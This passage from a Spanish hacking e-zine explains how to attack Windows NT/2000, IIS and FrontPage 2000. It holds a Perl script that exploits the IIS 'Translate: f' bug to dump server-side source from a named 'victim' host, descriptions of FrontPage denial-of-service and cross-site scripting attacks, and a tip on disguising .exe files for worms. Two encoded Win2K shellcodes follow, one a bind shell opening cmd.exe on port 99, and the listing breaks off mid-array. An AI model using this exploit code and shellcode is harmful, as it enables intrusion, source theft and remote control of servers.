arbol de la web. Dicho bug se basa en un problema de las extensiones de
FrontPage 2000 y un problema de implementacion en Office 2000.
Basta con a~adir en las cabeceras de una peticion "GET" de HTTP la
cabecera translate:f para poder ver el codigo del fichero que se pide. Vamos
a explicar mas a fondo un poco el bug.
translate:f es una cabecera exclusiva de WebDAV, y es usado en los
clientes compatibles con este y en Frontpage 2000 para poder editar el
fichero que se esta pidiendo. Pero a mas de uno le agradara saber que pasara
si incluimos la barra lateral '/' al final de la peticion GET...
Aqui se incluye un script en perl que podreis encontrar en cualquier lado
que sirve para generar peticiones get de ese estilo para aprovecharnos del
bug.
 
-- Comienza el codigo --
<++>xploits/webdav.pl
#############################
use IO::Socket; #
my ($port, $sock,$server); #
$size=0; #
#############################
#
$server="$ARGV[0]";
$s="$server";
$port="80";
$cm="$ARGV[1]";
&connect;
sub connect {
if ($#ARGV < 1) {
howto();
exit;
}
$ver="GET /$cm%5C HTTP/1.0
Host: $server
Accept: */*
Translate: f
nn";
my($iaddr,$paddr,$proto);
$iaddr = inet_aton($server) || die "Error: $!";
$paddr = sockaddr_in($port, $iaddr) || die "Error: $!";
$proto = getprotobyname('tcp') || die "Error: $!";
socket(SOCK, PF_INET, SOCK_STREAM, $proto) || die "Error:
$!";
connect(SOCK, $paddr) || die "Error: $!";
send(SOCK, $ver, 0) || die "Can't to send packet: $!";
open(OUT, ">$server.txt");
print "Dumping $cm to $server.txt n";
while(<SOCK>) {
print OUT <SOCK>;
}
sub howto {
print "type as follows: Trans.pl www.victim.com codetoview.asp nn";
}
close OUT;
$n=0;
$type=2;
close(SOCK);
exit(1);
}
<-->
-- Finaliza el codigo --
 
 
[ 6.1.7.10 - Conclusion a los ataques IIS ]
-----------------------------------------
Bien, como se ha visto, IIS posee muchos fallos, por lo que un servidor
de IIS que no este totalmente parcheado es un servidor muy vulnerable. Bien
pensado, atacar al IIS resulta una de las maneras mas limpias de hackear un
NT... al loro.
 
 
[ 6.2 - Vulnerabilidades de Frontpage ]
-------------------------------------
Pasemos ahora a ver los bugs del Frontpage 2000. Este producto tambien
esta servido de una rica y variada gama de bugs, los cuales no van a poder
ser todos mostrados por cuestiones de espacio. Nos centraremos en la version
2000 de frontpage server, que actualmente es la mas usada.
 
 
[ 6.2.1 - DoS a las extensiones ]
-------------------------------
Este sencillo bug consiste en realizar de manera conseutiva, peticiones
al archivo shtml.dll del servidor. La forma de la URL seria la siguiente:
http://www.maquina.com/_vti_bin/shtml. dll. Se podria hacer un programa
simplon que hiciese repetidas peticiones GET a ese archivo, con lo que en
cuestion de segundos el servidor se bloquearia.
 
[ 6.2.2 - Otro DoS a las extensiones gracias a Ms-Dos ]
-----------------------------------------------------
Este DoS se aprovecha de los recursos de Ms-Dos (o Ms-DoS ) para
colgar el sistema. Mediante shtml.exe es posible acceder a dichos recursos,
de manera tal:
Podriamos haber puesto en lugar de com1 otro recurso de ms-dos, como aux,
nul, prn, con (de que me sonara este?), etc.
Sin embargo este DoS no sera efectivo a menos que efectuemos la operacion
varias veces seguidas. Sino se hiciera asi, el servidor aguantaria... si lo
hacemos bien se tendra que reiniciar el sistema o reiniciar IIS para poder
seguir con normalidad.
 
 
[ 6.2.3 - Scripting con shtml.dll ]
---------------------------------
Este se~or bug afecta a las extensiones de Frontpage server 1.2 si estas
se encuentran instaladas en un servidor IIS. El fallo consiste en que si en
una peticion al archivo shtml.dll incluimos al final de esta mas texto, el
servidor generara un error a partir de ese texto... pero, que pasaria si ese
texto es un script (no importa el lenguaje)?, pues como el servidor devuelve
un error a partir del texto a~adido a la url, si este contiene un codigo que
el navegador pueda interpretar, este se ejecutara en el la maquina cliente.
Como ejemplo, observar la siguiente url:
El procedimiento es este: nosotros le hacemos una peticion con nuestro
codigo, el servidor nos re-envia este codigo junto un mensaje de error, y
nuestro navegador interpreta el codigo ejecutando su contenido.
Claro, que este fallo no posee mucha relevancia de por si sino pudiera
ser aprovechado por terceros... veamos ahora un link colocado en una pagina
web cualquiera que explotaria el bug:
<a href="http://victima.es/_vti_bin/shtml.dll/<SCRIPT> codigo... </SCRIPT>">
El visitante vera como el link parece enviarnos a victima.es, pero, por
ejemplo si usa windows con netscape o i. explorer al pasar el raton por
encima vera a donde apunta realmente el link. Esto se podria ocultar con un
peque~o codigo javascript en la pagina...
Entonces: Para que sirve este bug? Pues para ejecutar en la maquina
cliente el codigo script que quieras. Obviamente deberemos especificar en la
etiqueta de inicio de script el lenguaje de scripts que vamos a utilizar.
Se se hubiera usado este bug para explotar la vulnerabilidad de ActiveX
descubierta por la gente del CCC, los efectos hubieran sido tremendos. Que
sirva como ejemplo para ver la trascendencia del bug.
 
 
[ 6.2.4 - Otra vez las extensiones ]
----------------------------------
Este bug causa las mismas consecuencias que el bug de los .idc y .ida de
IIS. Nos devuelve la ruta del servidor web. En este caso para conseguir la
ruta deberemos hacer una peticion de este tipo:
 
 
[ 6.2.5 - Conclusion a Frontpage ]
--------------------------------
Como hemos visto Frontpage posee bugs que pueden comprometer la seguridad
y/o estabilidad del sistema, muy faciles de explotar. Esto se deberia tener
en cuenta, y seguir las noticias sobre la seguridad de frontpage muy de
cerca. Aqui solo se han visto unos pocos, los mas recientes. Para ver una
galeria entera de bugs de este y otros productos, lo de siempre, miraros el
apendice.
 
 
-=-
 
 
[ 7 - El registro ]
-----------------
El registro es la base de datos centralizada de la configuracion de
Windows, en el guardan informacion los programas, y sobretodo el sistema
operativo en si. Aprender a utilizar el registro nos ayudara desde a poder
personalizar en gran parte nuestro Windows (sea la version que sea), hasta
poder violar la seguridad del sistema con diferentes trucos, pasando por el
crackeo de aplicaciones.
Aqui me basare en el registro de los W2K. Sin embargo toda la familia Win
comparte unos grandes parecidos en ello.
Para los que ya sepais algo del registro de W95, deciros que a diferencia
de este NT no utiliza la sub-estructura HKEY_DYN_DATA.
 
 
[ 7.1 - Estructura del registro ]
-------------------------------
El registro de NT esta dividido en 5 sub-estructuras: HKEY_CLASSES_ROOT,
HKEY_CURRENT_USER, HKEY_LOCAL_MACHINE, HKEY_USERS y HKEY_CURRENT_CONFIG.
Vamos a analizarlas.
 
 
HKEY_CLASSES_ROOT
-----------------
Esta sub-estructura mantiene una lista de las extensiones de los archivos
enlazados a aplicaciones determinadas. Tambien contiene informacion sobre
las operaciones OLE (Object Linking And Emmedding), etc.
Desde aqui podriamos a~adir la extension .loquesea , y definirla, de
manera que el admin cuando vea la descripcion del tipo de archivo vera la
que nosotros hayamos puesto. Tambien podemos cambiar las definiciones de
otros ficheros, por ejemplo, poner a los .exe la descripcion "Documento
de texto", etc. Esto es util a la hora de programar I-Worms.
 
HKEY_CURRENT_USER
-----------------
Esta clave contiene la configuracion del entorno del escritorio, de los
programas, del entorno del usuario, etc.
Aqui podemos diferenciar 7 subclaves:
 
- AppEvents: En esta subclave se encuentra la configuracion de los
sonidos de Windows.
- Console: Configuracion sobre la consola del DOS.
- Control Panel: Aqui se almacena la configuracion sobre los distintos
dispositivos de entrada/salida del sistema, ademas de
la configuracion de la gran parte de los elementos del
panel de control de Windows.
- Environment: Ruta de los directorios de archivos temporales.
- Identities: Contiene informacion sobre las identidades que el usuario
actual posee en distintos programas (outlook, etc.)
- Software: Esta contiene informacion de los distintos programas que se
encuentran instalados.
- System: Infomacion del sistema en la sesion que se encuentra el usuario
local.
 
Estas son las llaves que siempre hay en los NT... luego puede haber mas,
pues hay aplicaciones que crean llaves en dicho apartado.
 
 
HKEY_LOCAL_MACHINE
------------------
Esta subestructura es sumamente interesante, pues en ella se muestran las
configuraciones del sistema, de su hardware, controladores, aplicaciones,
etc.
Esta se divide en 5 sub-estructuras, que son:
 
- HKEY_LOCAL_MACHINEHardware: En esta llave se almacenan los datos sobre
los drivers del sistema y los componentes
del hardware.
- HKEY_LOCAL_MACHINESAM: Informacion sobre los usuarios del sistema, sus
passwords...
- HKEY_LOCAL_MACHINESecurity: Informacion sobre los privilegios de los
usuarios, etc.
- HKEY_LOCAL_MACHINESoftware: Informacion sobre todo el software que se
encuentra instalado en el sistema.
- HKEY_LOCAL_MACHINESystem: Aqui se almacena la informacion que NT
necesita para arrancar el sistema.
 
 
HKEY_USERS
----------
Igual que HKEY_CURRENT_USER pero con una sub-estructura para cada usuario
del sistema.
 
 
HKEY_CURRENT_CONFIG
-------------------
Esta sub-estructura contiene informacion sobre la configuracion actual de
distintos dispositivos del sistema, y la configuracion tambien de las
propiedades de internet, etc.
 
 
[ 7.2 - Vulnerabilidades del registro ]
-------------------------------------
La unica vulnerabilidad del registro es su mala configuracion. Lo primero
que se debiera tener en cuenta es que no se debe permitir acceder al
registro de forma remota. Si se permitiera el acceso remoto al registro, se
ha de tener en cuenta mucho los permisos. Hay ciertas zonas en las que el
usuario no deberia poder escribir. Podria, por ejemplo, cambiar la ruta de
programas, apuntando a otros que le beneficien a el, o causar caos en el
sistema, etc. Es algo que hay que tener muy en cuenta.
Para acceder remotamente al registro solo hace falta conectarse a el
desde regedit, regdt32, por ejemplo.
 
 
[ 7.3 - Conclusion sobre el registro ]
------------------------------------
Como se ha visto, el registro es el "Alma Mater" de NT, y tambien se ha
visto que hay ciertas estructuras con informacion sensible que no debieran
poder escribirse.
Sin embargo, todo lo que se ha dicho aqui del registro es realmente poco.
Para los que quieran saber mas, pueden pasarse por el apendice, donde
encontraran referencias a otros documentos.
 
 
-=-
 
 
[ 8 - Desbordamientos de pila en NT ]
-----------------------------------
 
Los buffer overflows (llamados BOFS por brevedad) que tanto afectan a
todo tipo de u*x, nunca fueron un problema para NT. Hasta hace poco. El que
NT sea de codigo cerrado, asi como casi todo el software que para el se
desarrolla, no ha impedido que se le hayan descubierto varios fallos de
programacion vulnerables al desbordamiento de buffer. Recordemos como
Mnemonix descubrio ya el bug en Rasman y Winhlp32, como dark spyrit
descubrio uno en IIS, etc. Aunque no sobrepasen de mucho la decena son ya
una seria amenaza, y se prevee que con todos los documentos/tutoriales que
hay acerca del tema, sean la plaga de NT de aqui a no mucho.
No voy a describir los conceptos de un BOF, no voy a escribir acerca de
algo de lo que se ha escrito tanto, y ademas mejor de lo que yo pudiera
hacerlo. En cambio, incluire 2 shellcodes relativamente recientes, que
seguro que mas de uno sabra sacar partido. Todas son para W2K.
Luego, quien quiera aprender como se provocan los BOFS, su teoria, etc.,
pueden mirarse el articulo en SET 22 de Mnemonix traducido por FCA00000:
"Buffer Overflows: Rasman & Winhlp32", que trata los bofs en entornos Win32,
con los ejemplos del rasman y winhlp32; o en SET 21 el de Doing: "ASM y
Buffer Overflows", que trata los BOFS en general. Mirar el apendice, donde
incluyo otras referencias.
 
[ 8.1 - Shellcodes ]
------------------
Y a continuacion incluyo uno de las 2 shellcodes, esta creada por |zan,
del grupo deepzone (http://www.deepzone.org).
 
--- Comienza codigo de shellcode ---
<++>xploits/shellcode.asm
; -- begin x86/asm --
LLB1 equ (00h xor 99h)
LLB2 equ (00h xor 99h)
LLB3 equ (00h xor 99h)
LLB4 equ (00h xor 99h)
GPB1 equ (00h xor 99h)
GPB2 equ (00h xor 99h)
GPB3 equ (00h xor 99h)
GPB4 equ (00h xor 99h)
DeepZone_w32ShellCode:
db 068h, 05eh, 056h, 0c3h, 090h, 054h, 059h, 0ffh, 0d1h
db 058h, 033h, 0c9h, 0b1h, 01ch, 090h, 090h, 090h, 090h
db 003h, 0f1h, 056h, 05fh, 033h, 0c9h, 066h, 0b9h, 095h
db 004h, 090h, 090h, 090h, 0ach, 034h, 099h, 0aah, 0e2h
db 0fah, 071h, 099h, 099h, 099h, 099h, 0c4h, 018h, 074h
db 040h, 0b8h, 0d9h, 099h, 014h, 02ch, 06bh, 0bdh, 0d9h
db 099h, 014h, 024h, 063h, 0bdh, 0d9h, 099h, 0f3h, 09eh
db 009h, 009h, 009h, 009h, 0c0h, 071h, 04bh, 09bh, 099h
db 099h, 014h, 02ch, 0b3h, 0bch, 0d9h, 099h, 014h, 024h
db 0aah, 0bch, 0d9h, 099h, 0f3h, 093h, 009h, 009h, 009h
db 009h, 0c0h, 071h, 023h, 09bh, 099h, 099h, 0f3h, 099h
db 014h, 02ch, 040h, 0bch, 0d9h, 099h, 0cfh, 014h, 02ch
db 07ch, 0bch, 0d9h, 099h, 0cfh, 014h, 02ch, 070h, 0bch
db 0d9h, 099h, 0cfh, 066h, 00ch, 0aah, 0bch, 0d9h, 099h
db 0f3h, 099h, 014h, 02ch, 040h, 0bch, 0d9h, 099h, 0cfh
db 014h, 02ch, 074h, 0bch, 0d9h, 099h, 0cfh, 014h, 02ch
db 068h, 0bch, 0d9h, 099h, 0cfh, 066h, 00ch, 0aah, 0bch
db 0d9h, 099h, 05eh, 01ch, 06ch, 0bch, 0d9h, 099h, 0ddh
db 099h, 099h, 099h, 014h, 02ch, 06ch, 0bch, 0d9h, 099h
db 0cfh, 066h, 00ch, 0aeh, 0bch, 0d9h, 099h, 014h, 02ch
db 0b4h, 0bfh, 0d9h, 099h, 034h, 0c9h, 066h, 00ch, 0cah
db 0bch, 0d9h, 099h, 014h, 02ch, 0a8h, 0bfh, 0d9h, 099h
db 034h, 0c9h, 066h, 00ch, 0cah, 0bch, 0d9h, 099h, 014h
db 02ch, 068h, 0bch, 0d9h, 099h, 014h, 024h, 0b4h, 0bfh
db 0d9h, 099h, 03ch, 014h, 02ch, 07ch, 0bch, 0d9h, 099h
db 034h, 014h, 024h, 0a8h, 0bfh, 0d9h, 099h, 032h, 014h
db 024h, 0ach, 0bfh, 0d9h, 099h, 032h, 05eh, 01ch, 0bch
db 0bfh, 0d9h, 099h, 099h, 099h, 099h, 099h, 05eh, 01ch
db 0b8h, 0bfh, 0d9h, 099h, 098h, 098h, 099h, 099h, 014h
db 02ch, 0a0h, 0bfh, 0d9h, 099h, 0cfh, 014h, 02ch, 06ch
db 0bch, 0d9h, 099h, 0cfh, 0f3h, 099h, 0f3h, 099h, 0f3h
db 089h, 0f3h, 098h, 0f3h, 099h, 0f3h, 099h, 014h, 02ch
db 0d0h, 0bfh, 0d9h, 099h, 0cfh, 0f3h, 099h, 066h, 00ch
db 0a2h, 0bch, 0d9h, 099h, 0f1h, 099h, 0b9h, 099h, 099h
db 009h, 0f1h, 099h, 09bh, 099h, 099h, 066h, 00ch, 0dah
db 0bch, 0d9h, 099h, 010h, 01ch, 0c8h, 0bfh, 0d9h, 099h
db 0aah, 059h, 0c9h, 0d9h, 0c9h, 0d9h, 0c9h, 066h, 00ch
db 063h, 0bdh, 0d9h, 099h, 0c9h, 0c2h, 0f3h, 089h, 014h
db 02ch, 050h, 0bch, 0d9h, 099h, 0cfh, 0cah, 066h, 00ch
db 067h, 0bdh, 0d9h, 099h, 0f3h, 09ah, 0cah, 066h, 00ch
db 09bh, 0bch, 0d9h, 099h, 014h, 02ch, 0cch, 0bfh, 0d9h
db 099h, 0cfh, 014h, 02ch, 050h, 0bch, 0d9h, 099h, 0cfh
db 0cah, 066h, 00ch, 09fh, 0bch, 0d9h, 099h, 014h, 024h
db 0c0h, 0bfh, 0d9h, 099h, 032h, 0aah, 059h, 0c9h, 014h
db 024h, 0fch, 0bfh, 0d9h, 099h, 0ceh, 0c9h, 0c9h, 0c9h
db 014h, 02ch, 070h, 0bch, 0d9h, 099h, 034h, 0c9h, 066h
db 00ch, 0a6h, 0bch, 0d9h, 099h, 0f3h, 0a9h, 066h, 00ch
db 0d6h, 0bch, 0d9h, 099h, 072h, 0d4h, 009h, 009h, 009h
db 0aah, 059h, 0c9h, 014h, 024h, 0fch, 0bfh, 0d9h, 099h
db 0ceh, 0c9h, 0c9h, 0c9h, 014h, 02ch, 070h, 0bch, 0d9h
db 099h, 034h, 0c9h, 066h, 00ch, 0a6h, 0bch, 0d9h, 099h
db 0f3h, 0a9h, 066h, 00ch, 0d6h, 0bch, 0d9h, 099h, 01ah
db 024h, 0fch, 0bfh, 0d9h, 099h, 09bh, 096h, 01bh, 08eh
db 098h, 099h, 099h, 018h, 024h, 0fch, 0bfh, 0d9h, 099h
db 098h, 0b9h, 099h, 099h, 0ebh, 097h, 009h, 009h, 009h
db 009h, 05eh, 01ch, 0fch, 0bfh, 0d9h, 099h, 099h, 0b9h
db 099h, 099h, 0f3h, 099h, 012h, 01ch, 0fch, 0bfh, 0d9h
db 099h, 014h, 024h, 0fch, 0bfh, 0d9h, 099h, 0ceh, 0c9h
db 012h, 01ch, 0c8h, 0bfh, 0d9h, 099h, 0c9h, 014h, 02ch
db 070h, 0bch, 0d9h, 099h, 034h, 0c9h, 066h, 00ch, 0deh
db 0bch, 0d9h, 099h, 0f3h, 0a9h, 066h, 00ch, 0d6h, 0bch
db 0d9h, 099h, 012h, 01ch, 0fch, 0bfh, 0d9h, 099h, 0f3h
db 099h, 0c9h, 014h, 02ch, 0c8h, 0bfh, 0d9h, 099h, 034h
db 0c9h, 014h, 02ch, 0c0h, 0bfh, 0d9h, 099h, 034h, 0c9h
db 066h, 00ch, 093h, 0bch, 0d9h, 099h, 0f3h, 099h, 014h
db 024h, 0fch, 0bfh, 0d9h, 099h, 0ceh, 0f3h, 099h, 0f3h
db 099h, 0f3h, 099h, 014h, 02ch, 070h, 0bch, 0d9h, 099h
db 034h, 0c9h, 066h, 00ch, 0a6h, 0bch, 0d9h, 099h, 0f3h
db 0a9h, 066h, 00ch, 0d6h, 0bch, 0d9h, 099h, 0aah, 050h
db 0a0h, 014h, 0fch, 0bfh, 0d9h, 099h, 096h, 01eh, 0feh
db 066h, 066h, 066h, 0f3h, 099h, 0f1h, 099h, 0b9h, 099h
db 099h, 009h, 014h, 02ch, 0c8h, 0bfh, 0d9h, 099h, 034h
db 0c9h, 014h, 02ch, 0c0h, 0bfh, 0d9h, 099h, 034h, 0c9h
db 066h, 00ch, 097h, 0bch, 0d9h, 099h, 010h, 01ch, 0f8h
db 0bfh, 0d9h, 099h, 0f3h, 099h, 014h, 024h, 0fch, 0bfh
db 0d9h, 099h, 0ceh, 0c9h, 014h, 02ch, 0c8h, 0bfh, 0d9h
db 099h, 034h, 0c9h, 014h, 02ch, 074h, 0bch, 0d9h, 099h
db 034h, 0c9h, 066h, 00ch, 0d2h, 0bch, 0d9h, 099h, 0f3h
db 0a9h, 066h, 00ch, 0d6h, 0bch, 0d9h, 099h, 0f3h, 099h
db 012h, 01ch, 0f8h, 0bfh, 0d9h, 099h, 014h, 024h, 0fch
db 0bfh, 0d9h, 099h, 0ceh, 0c9h, 012h, 01ch, 0c8h, 0bfh
db 0d9h, 099h, 0c9h, 014h, 02ch, 070h, 0bch, 0d9h, 099h
db 034h, 0c9h, 066h, 00ch, 0deh, 0bch, 0d9h, 099h, 0f3h
db 0a9h, 066h, 00ch, 0d6h, 0bch, 0d9h, 099h, 070h, 020h
db 067h, 066h, 066h, 014h, 02ch, 0c0h, 0bfh, 0d9h, 099h
db 034h, 0c9h, 066h, 00ch, 08bh, 0bch, 0d9h, 099h, 014h
db 02ch, 0c4h, 0bfh, 0d9h, 099h, 034h, 0c9h, 066h, 00ch
db 08bh, 0bch, 0d9h, 099h, 0f3h, 099h, 066h, 00ch, 0ceh
db 0bch, 0d9h, 099h, 0c8h, 0cfh, 0f1h, LLB4, LLB3, LLB2
db LLB1, 009h, 0c3h, 066h, 08bh, 0c9h, 0c2h, 0c0h, 0ceh
db 0c7h, 0c8h, 0cfh, 0cah, 0f1h, GPB4, GPB3, GPB2, GPB1
db 009h, 0c3h, 066h, 08bh, 0c9h, 035h, 01dh, 059h, 0ech
db 062h, 0c1h, 032h, 0c0h, 07bh, 070h, 05ah, 0ceh, 0cah
db 0d6h, 0dah, 0d2h, 0aah, 0abh, 099h, 0eah, 0f6h, 0fah
db 0f2h, 0fch, 0edh, 099h, 0fbh, 0f0h, 0f7h, 0fdh, 099h
db 0f5h, 0f0h, 0eah, 0edh, 0fch, 0f7h, 099h, 0f8h, 0fah
db 0fah, 0fch, 0e9h, 0edh, 099h, 0eah, 0fch, 0f7h, 0fdh
db 099h, 0ebh, 0fch, 0fah, 0efh, 099h, 0fah, 0f5h, 0f6h
db 0eah, 0fch, 0eah, 0f6h, 0fah, 0f2h, 0fch, 0edh, 099h
db 0d2h, 0dch, 0cbh, 0d7h, 0dch, 0d5h, 0aah, 0abh, 099h
db 0dah, 0ebh, 0fch, 0f8h, 0edh, 0fch, 0c9h, 0f0h, 0e9h
db 0fch, 099h, 0deh, 0fch, 0edh, 0cah, 0edh, 0f8h, 0ebh
db 0edh, 0ech, 0e9h, 0d0h, 0f7h, 0ffh, 0f6h, 0d8h, 099h
db 0dah, 0ebh, 0fch, 0f8h, 0edh, 0fch, 0c9h, 0ebh, 0f6h
db 0fah, 0fch, 0eah, 0eah, 0d8h, 099h, 0c9h, 0fch, 0fch
db 0f2h, 0d7h, 0f8h, 0f4h, 0fch, 0fdh, 0c9h, 0f0h, 0e9h
db 0fch, 099h, 0deh, 0f5h, 0f6h, 0fbh, 0f8h, 0f5h, 0d8h
db 0f5h, 0f5h, 0f6h, 0fah, 099h, 0cbh, 0fch, 0f8h, 0fdh
db 0dfh, 0f0h, 0f5h, 0fch, 099h, 0ceh, 0ebh, 0f0h, 0edh
db 0fch, 0dfh, 0f0h, 0f5h, 0fch, 099h, 0cah, 0f5h, 0fch
db 0fch, 0e9h, 099h, 0dah, 0f5h, 0f6h, 0eah, 0fch, 0d1h
db 0f8h, 0f7h, 0fdh, 0f5h, 0fch, 099h, 0dch, 0e1h, 0f0h
db 0edh, 0c9h, 0ebh, 0f6h, 0fah, 0fch, 0eah, 0eah, 099h
db 0dah, 0f6h, 0fdh, 0fch, 0fdh, 0b9h, 0fbh, 0e0h, 0b9h
db 0e5h, 0c3h, 0f8h, 0f7h, 0b9h, 0a5h, 0f0h, 0e3h, 0f8h
db 0f7h, 0d9h, 0fdh, 0fch, 0fch, 0e9h, 0e3h, 0f6h, 0f7h
db 0fch, 0b7h, 0f6h, 0ebh, 0feh, 0a7h, 09bh, 099h, 086h
db 0d1h, 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h
db 099h, 099h, 099h, 099h, 095h, 099h, 099h, 099h, 099h
db 099h, 099h, 099h, 098h, 099h, 099h, 099h, 099h, 099h
db 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h
db 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h
db 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h
db 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h
db 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h
db 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h
db 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h
db 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h
db 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h
db 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h
db 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h, 0dah
db 0d4h, 0ddh, 0b7h, 0dch, 0c1h, 0dch, 099h, 099h, 099h
db 099h, 099h, 089h, 099h, 099h, 099h, 099h, 099h, 099h
db 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h
db 099h, 099h, 099h, 099h, 090h, 090h, 090h, 090h, 090h
<-->
; -- end x86/asm --
--- Finaliza codigo de shellcode ---
 
A continuacion se muestra la segunda y ultima shellcode, de sunx.
 
 
--- Comienza codigo de shellcode ---
<++>xploits/shellcode2.c
/****************************************************************************
WinShellCode Writen by sunx
sunx@cnns.net, http://www.cnns.net
This shellcode works like most remote UNIX shell
it will listen on port 99,
when telnet to chis port, a cmd.exe shell will active
It is asm code is followed.
For remove char(0) in data
shellcode is xor 0x99, it will decode itself, when on run
when overflow, run time cpu mirror is :
-----------RRRR-NOPNOPNOPNOPNOPNOPNOP-ShellCodeShellCodeShellCode-----------
^ ^
| |
| |
ESP point to here shellcode place here
ESP must less than shellcode start address, when run this shellcode
[root@Linux /]# telnet 192.168.0.5 99
Trying 192.168.0.5...
Connected to sunx (192.168.0.5).
Escape character is '^]'.
Microsoft Windows 2000 [Version 5.00.2195]
(C) °æÈ¨ËùÓÐ 1985-2000 Microsoft Corp.
E:workasmwinshellconv>cd
cd
E:>^]q
Connection closed.
[root@Linux /]# telnet 192.168.0.5 99
Trying 192.168.0.5...
Connected to sunx (192.168.0.5).
Escape character is '^]'.
E:>c:
c:
C:>
***************************************************************************/
#ifndef WINSHELLCODE_H
#define WINSHELLCODE_H
const unsigned long OfsShellCodeLoadLib = 0x436;
const unsigned long OfsShellCodeGetProc = 0x43a;
const unsigned long OfsShellCodeShell = 0x442;
const unsigned long JMPESP_Win2k2195 = 0x77e6898b;
const unsigned long JMPESP_WinNTsp6 = 0x77f0eac3;
const unsigned long LoadLib_Win2k2195 = 0x77e67273;
const unsigned long GetProc_Win2k2195 = 0x77e67031;
const unsigned long LoadLib_WinNTsp6 = 0x77ee391a;
const unsigned long GetProc_WinNTsp6 = 0x77ee4111;
unsigned char shellcode[]=
{
0x8b, 0xfc, 0xb8, 0x73, 0x75, 0x6e, 0x78, 0x47, 0x39, 0x07,
0x75, 0xfb, 0x8d, 0x6f, 0xfd, 0x8d, 0x7d, 0x26, 0x90, 0x90,
0x90, 0x8b, 0xf7, 0xb4, 0x99, 0xfc, 0xac, 0x32, 0xc4, 0xaa,
0x81, 0x3e, 0x73, 0x75, 0x6e, 0x78, 0x75, 0xf4, 0x14, 0x24,
0xdb, 0x9d, 0x99, 0x99, 0x65, 0xaa, 0x50, 0x28, 0xb9, 0x29,
0xbd, 0x6b, 0x37, 0x5f, 0xde, 0x66, 0x99, 0x71, 0x4c, 0x9b,
0x99, 0x99, 0x71, 0x41, 0x98, 0x99, 0x99, 0x10, 0x1c, 0xb3,
0x9d, 0x99, 0x99, 0x71, 0x44, 0x98, 0x99, 0x99, 0x71, 0xcb,
0x9b, 0x99, 0x99, 0x10, 0x1c, 0xb7, 0x9d, 0x99, 0x99, 0x71,
0x9d, 0x98, 0x99, 0x99, 0x12, 0x1c, 0xb7, 0x9d, 0x99, 0x99,
0x71, 0x88, 0x9b, 0x99, 0x99, 0x10, 0x1c, 0xab, 0x9d, 0x99,
0x99, 0x71, 0x9b, 0x99, 0x99, 0x99, 0x72, 0x71, 0x12, 0x1c,
0x8f, 0x9d, 0x99, 0x99, 0x71, 0x28, 0x99, 0x99, 0x99, 0x1a,
0x61, 0x99, 0xed, 0xc0, 0x09, 0x09, 0x09, 0x09, 0xaa, 0x59,
0xc9, 0x14, 0x1c, 0xbf, 0x9d, 0x99, 0x99, 0xc9, 0xaa, 0x59,
0x2d, 0x9d, 0xc9, 0x12, 0x1c, 0xb3, 0x9d, 0x99, 0x99, 0xc9,
0x12, 0x1c, 0x8f, 0x9d, 0x99, 0x99, 0xc9, 0x66, 0x0c, 0x55,
0x9a, 0x99, 0x99, 0x1a, 0x61, 0x99, 0xed, 0xe4, 0x09, 0x09,
0x09, 0x09, 0xaa, 0x59, 0xc9, 0x12, 0x1c, 0xbf, 0x9d, 0x99,
0x99, 0xc9, 0x12, 0x1c, 0xb3, 0x9d, 0x99, 0x99, 0xc9, 0x12,
0x1c, 0xab, 0x9d, 0x99, 0x99, 0xc9, 0x66, 0x0c, 0x93, 0x9d,
0x99, 0x99, 0x1a, 0x61, 0x99, 0xe5, 0xcf, 0x09, 0x09, 0x09,
0x09, 0x72, 0x0e, 0xaa, 0x59, 0xc9, 0x2d, 0x9d, 0xc9, 0x12,
0x1c, 0xb3, 0x9d, 0x99, 0x99, 0xc9, 0x12, 0x1c, 0xab, 0x9d,
0x99, 0x99, 0xc9, 0x66, 0x0c, 0x96, 0x9d, 0x99, 0x99, 0x1a,
0x61, 0x99, 0xe5, 0xa8, 0x09, 0x09, 0x09, 0x09, 0xaa, 0x42,
0xca, 0x14, 0x04, 0xbf, 0x9d, 0x99, 0x99, 0xca, 0xc9, 0x12,
0x1c, 0xb3, 0x9d, 0x99, 0x99, 0xc9, 0x12, 0x1c, 0xbb, 0x9d,
0x99, 0x99, 0xc9, 0x66, 0x0c, 0x5b, 0x9a, 0x99, 0x99, 0x1a,
0x61, 0x99, 0xed, 0x90, 0x09, 0x09, 0x09, 0x09, 0x70, 0xde,
0x66, 0x66, 0x66, 0xaa, 0x59, 0x5a, 0xaa, 0x42, 0xca, 0x14,
0x04, 0xc7, 0x98, 0x99, 0x99, 0xca, 0xaa, 0x42, 0xca, 0xca,
0xca, 0xc9, 0x66, 0x0c, 0x31, 0x9a, 0x99, 0x99, 0x1a, 0x61,
0x99, 0xed, 0x92, 0x09, 0x09, 0x09, 0x09, 0x12, 0x1c, 0xc7,
0x98, 0x99, 0x99, 0x5a, 0x21, 0x99, 0x99, 0x99, 0x99, 0x5a,
0x99, 0x99, 0x99, 0x99, 0x14, 0x1c, 0x52, 0x98, 0x99, 0x99,
0x5e, 0x99, 0xdd, 0x99, 0x99, 0x99, 0xc9, 0x66, 0x0c, 0xe4,
0x9a, 0x99, 0x99, 0x12, 0x1c, 0x83, 0x9d, 0x99, 0x99, 0x10,
0x1c, 0x92, 0x9b, 0x99, 0x99, 0x10, 0x1c, 0x9e, 0x9b, 0x99,
0x99, 0x12, 0x1c, 0x87, 0x9d, 0x99, 0x99, 0x10, 0x1c, 0x9a,
0x9b, 0x99, 0x99, 0xaa, 0x59, 0xff, 0x21, 0x98, 0x98, 0x10,
0x1c, 0x6e, 0x98, 0x99, 0x99, 0x14, 0x1c, 0x52, 0x98, 0x99,
0x99, 0xc9, 0xc9, 0xaa, 0x59, 0xc9, 0xc9, 0xc9, 0xd9, 0xc9,
0xd1, 0xc9, 0xc9, 0x14, 0x1c, 0xdb, 0x9d, 0x99, 0x99, 0xc9,
